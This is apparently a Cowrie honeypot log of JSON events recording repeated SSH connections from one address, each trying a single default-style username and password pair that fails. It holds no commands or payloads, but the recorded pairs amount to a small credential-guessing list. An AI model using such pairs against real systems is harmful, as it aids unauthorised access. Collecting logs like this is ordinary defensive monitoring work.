{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64988,"dst_ip":"159.203.135.109","dst_port":22,"session":"9418c4074696","protocol":"ssh","message":"New connection: 45.156.87.69:64988 (159.203.135.109:22) [session: 9418c4074696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:01.926949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:01.933001Z","src_ip":"45.156.87.69","session":"9418c4074696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:02.079690Z","src_ip":"45.156.87.69","session":"9418c4074696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas","message":"login attempt [andreas/andreas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:02.778992Z","src_ip":"45.156.87.69","session":"9418c4074696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:04.020007Z","src_ip":"45.156.87.69","session":"9418c4074696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64998,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f25f2a0297","protocol":"ssh","message":"New connection: 45.156.87.69:64998 (159.203.135.109:22) [session: 61f25f2a0297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:05.607440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:05.793586Z","src_ip":"45.156.87.69","session":"61f25f2a0297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:05.797401Z","src_ip":"45.156.87.69","session":"61f25f2a0297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"12345","message":"login attempt [bob/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:06.524445Z","src_ip":"45.156.87.69","session":"61f25f2a0297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:07.657072Z","src_ip":"45.156.87.69","session":"61f25f2a0297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":52344,"dst_ip":"159.203.135.109","dst_port":22,"session":"993cb68c0ccd","protocol":"ssh","message":"New connection: 45.156.87.69:52344 (159.203.135.109:22) [session: 993cb68c0ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:09.249203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:09.379134Z","src_ip":"45.156.87.69","session":"993cb68c0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:09.382833Z","src_ip":"45.156.87.69","session":"993cb68c0ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:10.010555Z","src_ip":"45.156.87.69","session":"993cb68c0ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:11.134261Z","src_ip":"45.156.87.69","session":"993cb68c0ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":52346,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb4fbf4808d8","protocol":"ssh","message":"New connection: 45.156.87.69:52346 (159.203.135.109:22) [session: bb4fbf4808d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:12.894320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:12.932755Z","src_ip":"45.156.87.69","session":"bb4fbf4808d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:13.030177Z","src_ip":"45.156.87.69","session":"bb4fbf4808d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:13.593008Z","src_ip":"45.156.87.69","session":"bb4fbf4808d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:14.689186Z","src_ip":"45.156.87.69","session":"bb4fbf4808d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63144,"dst_ip":"159.203.135.109","dst_port":22,"session":"982d4901d120","protocol":"ssh","message":"New connection: 45.156.87.69:63144 (159.203.135.109:22) [session: 982d4901d120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:16.606030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:16.611600Z","src_ip":"45.156.87.69","session":"982d4901d120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:16.707511Z","src_ip":"45.156.87.69","session":"982d4901d120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jpg","password":"123456","message":"login attempt [jpg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:17.054312Z","src_ip":"45.156.87.69","session":"982d4901d120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:18.220276Z","src_ip":"45.156.87.69","session":"982d4901d120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.02136731147766,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:19.214022Z","src_ip":"152.42.224.71","session":"4ce3fef0e89c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63156,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a5d1f9745af","protocol":"ssh","message":"New connection: 45.156.87.69:63156 (159.203.135.109:22) [session: 1a5d1f9745af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:20.235032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:20.240055Z","src_ip":"45.156.87.69","session":"1a5d1f9745af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:20.326087Z","src_ip":"45.156.87.69","session":"1a5d1f9745af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123","message":"login attempt [user/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:20.727839Z","src_ip":"45.156.87.69","session":"1a5d1f9745af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:21.812324Z","src_ip":"45.156.87.69","session":"1a5d1f9745af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63172,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a98a4454428","protocol":"ssh","message":"New connection: 45.156.87.69:63172 (159.203.135.109:22) [session: 6a98a4454428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:23.811350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:23.816103Z","src_ip":"45.156.87.69","session":"6a98a4454428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:23.902777Z","src_ip":"45.156.87.69","session":"6a98a4454428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osboxes","password":"osboxes.org","message":"login attempt [osboxes/osboxes.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:24.176436Z","src_ip":"45.156.87.69","session":"6a98a4454428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:25.291539Z","src_ip":"45.156.87.69","session":"6a98a4454428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41748,"dst_ip":"159.203.135.109","dst_port":22,"session":"15eb6c025f83","protocol":"ssh","message":"New connection: 45.156.87.69:41748 (159.203.135.109:22) [session: 15eb6c025f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:27.452310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:27.466387Z","src_ip":"45.156.87.69","session":"15eb6c025f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:27.561632Z","src_ip":"45.156.87.69","session":"15eb6c025f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.048348903656006,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:27.855235Z","src_ip":"128.199.8.54","session":"cdc47dc26f25","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:28.200036Z","src_ip":"45.156.87.69","session":"15eb6c025f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:29.284778Z","src_ip":"45.156.87.69","session":"15eb6c025f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41772,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89ed58bce61","protocol":"ssh","message":"New connection: 45.156.87.69:41772 (159.203.135.109:22) [session: c89ed58bce61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:31.052004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:31.065824Z","src_ip":"45.156.87.69","session":"c89ed58bce61","protocol":"ssh"}
